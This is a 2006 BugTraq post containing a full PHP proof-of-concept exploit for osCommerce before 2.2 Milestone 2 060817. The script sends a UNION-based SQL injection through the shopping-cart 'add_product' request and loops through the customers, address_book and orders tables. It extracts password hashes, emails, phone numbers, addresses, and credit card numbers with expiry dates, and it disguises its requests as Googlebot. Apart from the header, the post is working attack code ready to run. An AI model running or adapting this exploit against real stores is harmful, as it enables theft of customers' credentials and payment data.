BugTraq
osCommerce < 2.2 Milestone 2 060817 POC Exploit Aug 30 2006 06:07PM
s10242006 yahoo com
#!/usr/bin/php -q -d short_open_tag=on

<?

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

if ($argc<5) {

echo "\r\nExploit osCommerce < 2.2 Milestone 2 060817 by Perseus \r\n";

echo "\r\nUsage: \r\n\r\n php ".$argv[0]." host path product_id whatinfo OPTIONS\r\n\r\n";

echo " host - target server (ip/hostname)\r\n";

echo " path - path to osCommerce\r\n";

echo " product_id - Valid product_id\r\n";

echo " whatinfo - pass for password, cc for credit card info, addr for address\r\n\r\n";

echo "Options:\r\n\r\n";

echo " -D: Show debug or verbose on\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n\r\n";

echo "Example:\r\n\r\n";

echo " php ".$argv[0]." localhost /os2/catalog/ 2 pass\r\n";

echo " php ".$argv[0]." 192.168.1.108 /os2/catalog/ 2 pass -p8080 -P192.168.1.108:3128 -D\r\n";

echo " php ".$argv[0]." 192.168.1.108 /os2/catalog/ 2 cc -p8080 -P192.168.1.108:3128\r\n";

die;

}

$host=$argv[1];

$path=$argv[2];

$products_id=$argv[3];

$whatinfo=$argv[4];

$port=80;

$Debug=0;

$proxy="";

for ($i=5; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

if ($temp=="-D")

{

$tmp=str_replace("-D","",$argv[$i]);

$Debug=1;

}

}

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}

if($Debug==1) {

echo "Name\t: osCommerce Multiple Vulnerabilities\r\n";

echo "Date\t: August 17, 2006\r\n";

echo "Vendor\t: osCommerce\r\n";

echo "URL\t: http://www.oscommerce.com/\r\n";

echo "Version\t: osCommerce < 2.2 Milestone 2 060817\r\n";

echo "Risk\t: Multiple Vulnerabilities\r\n";

echo "Exploit\t: Customers Info, Pass, and Credit Info Disclosure\r\n";

echo "Author\t: Perseus\r\n";

echo "Compatibility\t: magic_quotes_gpc off, union supported\r\n";

echo "Greets\t: rgod, James Bercegay, str0ke, hdm, r57 \r\n";

}

// try if you can rewrite this code to attack osc with magic_quotes_gpc on

// because I found it impossible for the moment.

// this will make oscommerce people update their vuln servers right now.

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$loop = 1000;

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex, $Debug;

if ($proxy=='') {

if($Debug==1) echo "\r\nProcessing packets directly...\r\n";

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo "\r\nNo response from ".$host.":".$port."\r\n"; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy...';die;

}

$parts=explode(':',$proxy);

if($Debug==1) echo "\r\nProcessing packets using proxy ".$parts[0].":".$parts[1]." ...\r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo "\r\nNo response from proxy...\r\n";die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$bl=0;

for($y=0;$y<=$loop;$y++) {

//1. get cookie

$out = "GET ".$p."product_info.php?products_id=".$products_id." HTTP/1.1\r\n";

$out .= "Host: ".$host."\r\n";

$out .= "Connection: Close\r\n\r\n";

sendpacketii($out);

$e = explode("Set-Cookie: osCsid=",$html);

$e2 = explode(";",$e[1]);

$cookie = $e2[0];

//2. injection

if($whatinfo=="pass") {

$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', customers_password, '^', customers_email_address,'|',customers_firstname,'|',customers_lastname,'
|',customers_dob,'|',customers_telephone, '^') , 0 , 0

FROM customers LIMIT ".$y.",1 /*";

} elseif($whatinfo=="addr") {

$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', entry_company, '^', entry_firstname,'|',entry_lastname,'|',entry_street_address,'|',entry_su
burb,'|',entry_postcode,'|',entry_city,'|',entry_state, '^') , 0 , 0

FROM address_book LIMIT ".$y.",1 /*";

} elseif($whatinfo=="cc") {

$sql="999' UNION SELECT 0 , CONCAT( CHAR(77),'||||', cc_type, '^', cc_owner,'|',cc_number,'|',cc_expires,'|',billing_street_address,'|',bil
ling_suburb,'|',billing_city,'|',billing_postcode,'|',billing_state,'|',
billing_country,'^') , 0 , 0

FROM orders LIMIT ".$y.",1 /*";

}

$sql=urlencode($sql);

$data = "id[0]=".$sql."";

$data.="&products_id=".$products_id."";

$out = "POST ".$p."product_info.php?products_id=".$products_id."&action=add_product&o
sCsid=".$cookie." HTTP/1.0\r\n";

$out .= "User-Agent: Googlebot/2.1\r\n";

$out .= "Host: ".$host."\r\n";

$out .= "Accept: text/plain\r\n";

$out .= "Connection: Close\r\n";

$out .= "Content-Type: application/x-www-form-urlencoded\r\n";

$out .= "Cookie: ".$cookie."\r\n";

$out .= "Content-Length: ".strlen($data)."\r\n\r\n";

$out .= $data;

sendpacketii($out);

//3. get vals

$out = "GET ".$p."shopping_cart.php?osCsid=".$cookie." HTTP/1.1\r\n";

$out .= "Host: ".$host."\r\n";

$out .= "Connection: Close\r\n\r\n";

sendpacketii($out);

//echo $html;

$e = explode("M||||",$html);

$e2 = explode("^",$e[1]);

$str = "\r\n".$y.". ".$e2[0]." ".$e2[1]."\r\n";

echo $str;

$strl = strlen($str);

if($strl<=25) $bl++;

if($bl==3) break;

}

?>

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